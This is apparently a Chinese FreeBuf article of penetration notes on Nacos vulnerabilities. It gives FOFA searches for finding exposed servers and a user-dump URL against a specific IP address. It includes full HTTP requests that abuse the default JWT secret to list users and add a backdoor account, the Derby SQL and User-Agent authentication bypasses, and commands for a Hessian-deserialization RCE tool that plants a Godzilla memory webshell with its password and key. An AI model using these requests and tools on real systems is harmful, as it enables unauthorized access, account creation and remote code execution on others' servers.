Nacos未授权漏洞
- 下载配置信息
- fofa搜索:
icon_hash="13942501"
- poc:
/v1/cs/configs?export=true&group=&tenant=&appName=&ids=&dataId=
- fofa搜索:
- 获取系统用户帐号及密码
http://8.134.152.2:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken
curl -H "User-Agent: Nacos-Server" http://<target>:8848/nacos/v1/auth/users?pageNo=1
默认口令漏洞
- 影响版本:所有默认安装的 Nacos 版本
- 漏洞描述:默认账号
nacos/nacos
未修改时,攻击者可直接登录控制台,获取配置信息、服务列表等敏感数据。 - 修复版本:无官方修复,需手动修改密码。
使用POC和默认密钥查看当前用户名和密码:
GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9 HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Connection: close If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMT Upgrade-Insecure-Requests: 1 accessToken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ
利用默认密钥,添加hellonacos用户密码为hellonacos,创建成功:
POST /nacos/v1/auth/users HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMT Content-Type: application/x-www-form-urlencoded Content-Length: 39 username=hellonacos&password=hellonacos
Derby 未授权访问漏洞(CVE-2021-29442)
nacos <= 1.4.0,无论是否开启鉴权,该漏洞都存在。当 nacos >14.0,在新版中默认没开鉴权,所有这个漏洞还存在。若开启了鉴权,版本大于1.4.0,则漏洞不存在。
快速判断:nacos/v1/cs/ops/derby?sql=**select** * **from users**
- 修复版本:1.4.1+(需开启鉴权)
Hessian 反序列化漏洞
Nacos 在处理某些基于 Jraft 的请求时,采用 Hessian 进行反序列化,但并未设置限制,导致应用存在远程代码执行(RCE)漏洞。
影响版本:
- 1.4.0 <= Nacos < 1.4.6 使用cluster集群模式运行
- 2.0.0 <= Nacos < 2.2.3 任意模式启动
复现
- 复现工具:https://github.com/c0olw/NacosRce/
- 自动注入内存马并执行命令:
java -jar NacosRce.jar Url Jraft端口 "Command"
java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 "whoami"
- 只注入内存马:
java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 memshell
- 哥斯拉内存马:
- 需要设置请求头
x-client-data:godzilla
- 设置
Referer:https://www.google.com/
- 路径随意
- 密码是pass和key
- 需要设置请求头
实际测试
- 测试失败
权限认证绕过漏洞(CVE-2021-29441)
- 影响版本:<=1.4.1(即使开启鉴权)
- 漏洞描述:添加 HTTP 头
User-Agent: Nacos-Server
可绕过鉴权,执行用户添加、配置修改等操作。 - 修复版本:1.4.2+
<=Nacos 1.4.1 配置为使用身份验证(nacos.core.auth.enabled=true),验证方法:
- 编辑 conf\application.properties文件,将 nacos.core.auth.enabled 值设置为true
- 访问 nacos/v1/auth/users?pageNo=1&pageSize=9 显示403
- 添加 User-Agent: Nacos-Server
- 然后可以添加用户
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)